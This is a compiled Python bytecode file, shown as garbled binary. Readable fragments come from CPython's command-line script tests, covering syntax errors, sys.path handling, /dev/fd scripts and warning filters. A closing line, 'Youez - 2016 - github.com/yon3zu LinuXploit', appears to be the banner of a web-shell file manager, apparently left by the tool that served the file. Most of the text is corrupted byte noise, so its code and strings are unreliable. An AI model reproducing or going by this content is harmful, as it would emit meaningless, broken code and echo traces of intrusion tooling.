!�rsc	��QQ,o[O29^tt^2oSFDCo[UQU2o[U2vqVUO	UO2QPQQ,2JE	PPP2P!)%fhP!9h)z
'''
multilinestring
'''z
f'''
multilinestring
'''r�s    multilinestringryrzrn)r/�scriptsrr�r0rrfs&      r�/test_syntaxerror_null_bytes_in_multiline_string�;CmdLineTest.test_syntaxerror_null_bytes_in_multiline_string�s��2�4T�U��
�
�
�
!�
!�Z�!��/�
�H�f�M��4�[�A���1�� � ��%�%�'���,�.�M���"�"�
!�
!�
!�s�AA8�8B		�B		c�n�[QQ2vq,QNoUOUO2U2P!)rXz1/0)s"Traceback (most recent call last):s&  File "<string>", line 1, in <module>s    1/0rvs#ZeroDivisionError: division by zero)rr'ro)r/rrf�expected_liness&   r�/test_source_lines_are_shown_when_running_source�;CmdLineTest.test_source_lines_are_shown_when_running_source�s4��,�T�5�9���1�4��	
����*�*�,�n�=rc�L�Qo[O29^tt^2o[UQU2o[U2vqEo[O
[OU2Q2O2oUOUQ2PPP2P!)%fhP!9h)znonlocal x
r�r2z>SyntaxError: nonlocal declaration not allowed at module level
)	rr�rrrbrcrdrk�assertEndsWithrKs&       r�test_syntaxerror_does_not_crash�+CmdLineTest.test_syntaxerror_does_not_crash�s|����
�
�
�
!�
!�Z�+�J��&�I�K�'<�[�'I�$�H�f��#�#�B�J�J�v�$6��@�E�E�G�D�����Q�
S�"�
!�
!�
!�rgc
��[OQ2oPUm[O29^tt^2o[O29^tt^2o[UQU2o[
QVBQ5o[U2O2O2oUOU]*U2UOV&2[
QV2Q5o[U2O2O2oUOVv2[
QV2Q5o[U2O2O2oUOV�U2PPP2PPP2P!)%fhK9h)%fhP!9h)�c            import sys
            for entry in sys.path:
                print(entry)
            r�z-Esr�z-I)rErF�maxDiffrr�rrr
rGror'r")	r/r��work_dirrr0rb�out_by_name�
out_by_dir�out_by_dir_isolateds	&        r�-test_consistent_sys_path_for_direct_execution�9CmdLineTest.test_consistent_sys_path_for_direct_execution�s%�����"������
�
�
�
!�
!�X�y�/A�/A�/C�/C�z�+�J�
�F�K�K��U�K�>�A�%�a�.�/�/�1�<�<�>�K����[��^�Z�8����X�3��U�J�=�A�$�Q��.�.�0�;�;�=�J����Z�5��T�:�<�A�"-�a�.�"7�"7�"9�"D�"D�"F�����0�k�J�0D�
!�
!�/C�/C��
!�
!�
!�s0�E6�C7E#	�E6�#E3
�,E3
�.E6�6F	�?F	c��[OQ2oPUm[O29^tt^2o[
OOUQ2o[
OU2[UQU2o[QQUQ5o[U2O2O2oUOU]*U2UOV62[QQUQ5o[U2O2O2oUOVv2[!QQUQ5vq�o
U
O2O2oUO#QUP*2PPP2P!)%fhP!9h)r��
script_pkgr�z-smzscript_pkg.__main__r�z-ImzNo module named script_pkg)rErFr�rr�r(r�r�r*rrr
rGror'r"rr*)r/r�r�rr0rb�
out_by_module�out_by_packagerLrjrf�traceback_liness&           r�-test_consistent_sys_path_for_module_execution�9CmdLineTest.test_consistent_sys_path_for_module_execution�s4�����"������
�
�
�
!�
!�X������h��=�J��H�H�Z� �+�J�
�F�K�K��U�$9�x�H�A�'��N�1�1�3�>�>�@�M����]�1�-�x�8����Z�7��U�L�h�?�A�(��^�2�2�4�?�?�A�N����^�;�'<��|��(�$�H�f�%�m�m�o�8�8�:�O��M�M�6���8K�L�)"�
!�
!�
!�s�D1E7�7F	�F	c�>�QoUO[OOU22[	UP	[
O[
OQ5oUO2vq4UOQU2UOUO]2P!)znonexistingscript.py)rMrjrfz: can't open file )�assertFalser(r��existsrrgrh�communicater*�assertNotEqual�
returncode)r/r��procrNrOs&    r�test_nonexisting_script�#CmdLineTest.test_nonexisting_scriptsu��
(�����������/�0��F��#-�?�?�#-�?�?�4���#�#�%����
�
�*�C�0����D�O�O�Q�/rz	/dev/fd/0zrequires /dev/fd platform�freebsdz/devz/dev/fdz.Requires fdescfs mounted on /dev/fd on FreeBSDc
��Qo[O29^tt^2o[UQU2o[UQ29^tt^2o[	QUO20P	]]]UO21Q5oUO
2vqgUOUQ2PPP2PPP2P!)%fhK9h)%fhP!9h)z print("12345678912345678912345")z	script.py�rz/dev/fd/)�	close_fds�pass_fdss12345678912345678912345
)rr�rrr�filenor�r')r/r�r�r0�fprbrNrOs&       r�test_script_as_dev_fd�!CmdLineTest.test_script_as_dev_fds���4��
�
�
�
!�
!�X�+�H�k�6�J�K��k�3�'�'�2� �8�B�I�I�K�=�!9�T�UV�WX�YZ�[]�[d�[d�[f�Tg�h���=�=�?���� � ��&B�C�(�"�
!�'�'��"�
!�
!�s0�"B>�AB+	�B>�+B;
�4B;
�6B>�>C	�C	c��[OQ2o[QQQQU2vq#oUOUO	Q2]2P!)�#test_import/data/syntax_warnings.pyru�-Walways:::__main__z/-Werror:::test.test_import.data.syntax_warningsz-Werror:::syntax_warnings�: SyntaxWarning: )r�findfiler
r'�count)r/�filenamerMrNrOs&    r�%test_filter_syntax_warnings_by_module�1CmdLineTest.test_filter_syntax_warnings_by_module'sL���#�#�$I�J��'��!�=�'������	
������#7�8�!�<rc���[OQ2o[UQ29^tt^2oUO2oPPP2[O
29^tt^2o[
UQQQW2vqV[QQQ[OOUQ22vqxo	UOU	OQ2]2PPP2P!)%fhK�9h)%fhP!9h)	r��rbr�r�r�rur�z-Werror:::test_pkg.__main__r�)
rr�rrkrr�rr
r(r�r�r'r�)
r/r�rrrr�rrMrNrOs
&         r�1test_zipfile_run_filter_syntax_warnings_by_module�=CmdLineTest.test_zipfile_run_filter_syntax_warnings_by_module1s����#�#�$I�J��
�(�D�
!�
!�Q��V�V�X�F�"�
�
�
�
!�
!�Z�&��J�
�J��H�K�H�+��%�-������X�z�2�	�L�B�S�
���S�Y�Y�';�<�b�A�"�
!�"�
!��
!�
!�
!�s$�C�"A"C!�C	�C	�!C2	�*C2	)r�r)F)Nr7�
__module__�__qualname__�__firstlineno__r?rPrUr\rc�
contextlib�contextmanagerrorsrwr|r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr	rrrrr&r,r/r<r@rNr\r_rerjrqrvr{rr�r�r�r�r��unittest�
skipUnlessr(r�r��skipIfr,rU�
startswith�stat�st_devr�r�r��__static_attributes__�__classdictcell__)�
__classdict__s@rr r Ys	����9�>
C�59�
C�9�48�9� %�
%�������&B�	C�'�+�'�+�8�
E�I�E�I�6�
6�6�6�6�4�/�D�D�/�
/�N�	N�I�"
A�L�'�"�������.�4�(0�F�1�-�8�$ �:9�$1�@�.�� 
��>�S�K�>#M�J
0����������4�6Q�R�
�_�_�S�\�\�,�,�Y�7�I�I��W�W�V�_�+�+�r�w�w�y�/A�/H�/H�H�E�G�
D�G�S�
D�=�
B�
Brr c�2�[O2P!r)r�
reap_children�rr�tearDownModuler�As�����rr�)�test1�test2�test3)&r�r�importlib.machineryr�r�r,r(�os.pathr�rgrbrE�testr�test.supportrrr�test.support.script_helperrrrr	r
rrr
r$rH�test_sourcerr�force_not_colorized_test_class�TestCaser r�r7r?r�rr�<module>r�s��������
�	����	���;�;�H�H�H��/�/��*��0��d;F��*���	�'�'�dB�(�#�#�dB�(�dB�N��z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit